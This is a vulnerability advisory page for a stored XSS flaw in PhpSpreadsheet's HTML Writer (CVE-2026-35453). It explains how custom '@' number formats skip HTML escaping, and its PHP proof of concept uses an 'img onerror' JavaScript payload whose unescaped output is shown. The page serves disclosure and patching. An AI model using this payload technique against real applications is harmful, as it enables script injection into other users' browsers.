4.8medium
PhpSpreadsheet XSS via number format text substitution in HTML Writer
- Severity
- 4.8medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.20% (higher than 10% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-6wpp-88cp-7q68
Description
PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| PHPOffice PhpSpreadsheet | >= 4.0.0, <= 5.6.0, >= 3.3.0, <= 3.10.4, >= 2.2.0, <= 2.4.4, >= 2.0.0, <= 2.1.15, <= 1.30.3, before 1.30.4, from 2.0.0 before 2.1.16, from 2.2.0 before 2.4.5 and 2 more | CVE List, NVD |
| phpoffice/phpspreadsheet (Packagist) | from 4.0.0 before 5.7.0, from 3.3.0 before 3.10.5, from 2.2.0 before 2.4.5, from 2.0.0 before 2.1.16, before 1.30.4 | GitHub Advisory Database |
All scores
| GitHub_M | 4.8medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
| NVD | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
Classification
What each source says
CVE List
PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.
GitHub Advisory Database
Summary
The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.
Details
1. Conditional escaping in Html.php:1586-1594
$cellData = NumberFormat::toFormattedString(
$origData2,
$formatCode ?? NumberFormat::FORMAT_GENERAL,
[$this, 'formatColor']
);
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}
htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.
2. Early return in Formatter.php:136-152
if (preg_match(self::SECTION_SPLIT, $format) === 0
&& preg_match(self::SYMBOL_AT, $formatx) === 1) {
if (!str_contains($format, '"')) {
return str_replace('@', /* raw value */, $format);
}
return str_replace(/* ... preg_replace with raw value ... */);
}
When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.
PoC
test.php
<?php
require '/app/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
$payload = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();
file_put_contents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";
The produced output contains unescaped data.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
<title>Untitled Spreadsheet</title>
<meta name="author" content="Unknown Creator" />
<meta name="title" content="Untitled Spreadsheet" />
<meta name="lastModifiedBy" content="Unknown Creator" />
<meta name="created" content="2026-04-02T16:34:44+00:00" />
<meta name="modified" content="2026-04-02T16:34:44+00:00" />
<style type="text/css">
[..SNIP..]
</style>
</head>
<body>
<div style='page: page0'>
<table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
<col class="col0" />
<tbody>
<tr class="row0">
<td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
</tr>
</tbody></table>
</div>
</body>
</html>
Screenshot 2026-04-02 at 18 45 53
Impact
The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.
NVD (es)
PhpSpreadsheet es una biblioteca para leer y escribir archivos de hoja de cálculo. En las versiones 1.30.3 y anteriores, 2.0.0 a 2.1.15, 2.2.0 a 2.4.4, 3.3.0 a 3.10.4, y 4.0.0 a 5.6.0, el Escritor HTML omite el escape de salida de htmlspecialchars() cuando una celda utiliza un formato de número personalizado que contiene el marcador de posición de texto @ con texto literal adicional (por ejemplo, @ 'items'). El escape solo se aplica cuando la salida formateada es estrictamente igual al valor original de la celda. Cuando el código de formato contiene @ con texto literal entre comillas, el formateador sustituye el valor de celda sin procesar en la cadena de formato y regresa temprano sin invocar la devolución de llamada de escape. Un atacante que puede controlar el contenido de una celda en una hoja de cálculo procesada por el Escritor HTML puede inyectar HTML y JavaScript arbitrarios en la salida generada. Este problema ha sido solucionado en las versiones 1.30.4, 2.1.16, 2.4.5, 3.10.5 y 5.7.0.
References
| https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68 | exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-35453 | advisory | |
| https://github.com/PHPOffice/PhpSpreadsheet | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-35453 changed 2026-05-06 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6wpp-88cp-7q68 changed 2026-05-08 | CC-BY-4.0 |
| NVD | CVE-2026-35453 changed 2026-07-24 | Public domain |